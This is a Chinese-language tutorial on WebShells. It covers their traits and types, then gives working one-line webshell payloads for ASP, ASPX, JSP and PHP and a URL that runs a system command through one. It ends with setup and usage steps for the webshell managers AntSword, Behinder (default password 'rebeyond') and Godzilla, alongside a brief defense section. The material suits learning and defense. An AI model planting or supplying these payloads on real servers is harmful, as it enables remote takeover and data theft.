WebShell分析
一.WebShell基础
1.简介
-
介绍:WebShell是一种黑客常用的恶意脚本,主要目的是通过在目标服务器上植入恶意代码,获得执行操作的权限。常见的WebShell编写语言包括:
- ASP
- JSP
- PHP
2.特点
-
持久化控制
- 上传WebShell后,黑客能够长期远程访问并控制服务器。这使得黑客能够在目标系统中保持长期存在,持续进行恶意活动。
-
权限提升
- WebShell通常以Web服务器用户权限运行,这种权限是有限的。但是,黑客可以通过WebShell利用本地漏洞进行权限提升,从而获得更高的权限(例如Root权限)。权限提升后,黑客能够执行几乎任何操作,包括安装软件、修改系统设置、窃取数据等。
-
隐蔽性强
- WebShell可以与正常网页文件混在一起,利用合法的HTTP请求进行通信,因此不容易被传统的安全防护机制检测到。由于通过80端口(HTTP)与外界通信,WebShell很难被防火墙或入侵检测系统(IDS)拦截。
- WebShell的日志记录通常非常有限,通常只有在Web日志中才能看到数据提交的记录,系统日志中不会留下明显痕迹。
3.类型
-
按编程语言分类
WebShell可以根据不同的脚本语言来分类,例如:- PHP木马
- ASP木马
- ASPX木马
- JSP木马
-
按文件大小分类
- 大马:功能全面,通常包含大量的恶意功能模块。
- 小马:功能相对简单,通常只有基本的远程命令执行能力。
- 一句话木马:以非常精简的代码实现恶意功能,通常仅为一行脚本。
-
按功能分类
- 打包马:可以打包其他恶意工具,广泛用于后续攻击。
- 拖库马:专门用于数据库导出,窃取敏感数据。
- 内存马:以内存中的恶意脚本形式存在,减少磁盘写入,增加隐蔽性。
4.原理
-
介绍:WebShell的核心恶意性在于它能够执行恶意指令或命令。通过精心设计的脚本,WebShell能够从客户端接收命令并在服务器端执行这些命令,最终达到控制服务器的目的。
-
ASP:
<%eval request("cmd")%>
-
ASPX:
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
-
JSP:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
-
PHP:
<?php @eval($_GET['cmd']); ?>
-
-
原理解析:
-
以PHP为例,PHP的一句话木马代码主要由两部分组成:
- 数据接收:WebShell通过$_GET, $_POST, 或 $_COOKIE接收客户端发送的命令数据。
- 数据执行:接收到的命令通过eval()函数执行。eval()将传入的字符串当做PHP代码执行,这样就能执行任意命令。
-
5.使用
-
命令执行:通过浏览器发送特定请求,黑客能够控制服务器并执行系统命令。举个例子,黑客可以通过URL传递cmd参数,执行系统命令:
http://127.0.0.1/shell.php?cmd=system('ipconfig');
PS:这种命令执行方式就相当于在目标服务器的命令提示符下运行ipconfig,显示服务器的网络配置信息。
-
后台持久控制:WebShell可以持续在目标服务器上保持活动状态,允许攻击者反复访问并执行恶意操作。
6.防护与检测
- 文件上传检查:对上传文件进行严格的类型和内容验证,避免上传包含恶意代码的脚本文件。
- 代码审计:定期审查网站代码,查找可能的漏洞或可被滥用的脚本。
- 安全配置:确保Web服务器及其环境的安全配置正确,如关闭不必要的功能、权限最小化等。
- 日志分析与监控:定期检查Web日志和系统日志,发现异常请求或非法访问。
二.WebShell连接工具
1.蚁剑
- 介绍:中国蚁剑是一款开源的网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
A.下载
蚁剑分为加载器和核心模块两部分:
- 加载器下载地址:AntSword 加载器
- 核心模块下载地址:AntSword 核心模块
B.安装
- 将下载的加载器及核心模块解压,然后启动加载器里的AntSword.exe文件。
- 启动后点击初始化,选择核心模块文件夹
- 初始化完成后重新启动AntSword.exe即可使用中国蚁剑。
C.使用
-
在空白处单击右键,选择添加数据
-
填写URL地址和连接密码,填写完成后点击测试连接。
- PS:连接密码就是一句话木马里用于传参的参数名。
-
添加完成后,选中添加的数据,右键单击选择要执行的操作。
2.冰蝎
- 介绍:冰蝎通信过程中使用AES(高级加密算法,对称加密,微信小程序使用此种方法)进行加密,Java和.NET默认支持AES,php中需要开启openssl扩展,在V2.0版本后,php环境方式根据服务端支持情况动态选择,使得冰蝎更强大。
A.下载
- 项目地址:Behinder_v4.1【t00ls专版】
B.安装
- 冰蝎使用java开发,因此运行前需要有java环境,然后双击Behinder.jar即可运行。
C.使用
冰蝎的WebShell只能使用冰蝎客户端进行连接,密码默认为:rebeyond
-
在空白处右键单击,选择新增
-
填写URL地址和连接密码,连接密码默认为 rebeyond
-
双击添加的数据,即可对其进行管理。
3.哥斯拉
护网期间,各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友甚至连不上冰蝎的shell,于是@BeichenDream决定公开他所开发的一款shell权限管理工具,名为“哥斯拉”。
A.下载
- 项目地址:v4.0.1-godzilla
B.安装
- 哥斯拉使用Java开发,因此需要有Java环境才能运行,双击 godzilla.jar 运行软件。
C.使用
-
在左上角点击目标选择添加
-
填写数据,并点击测试连接
-
选择添加的数据,右键点击进入,选择要执行的操作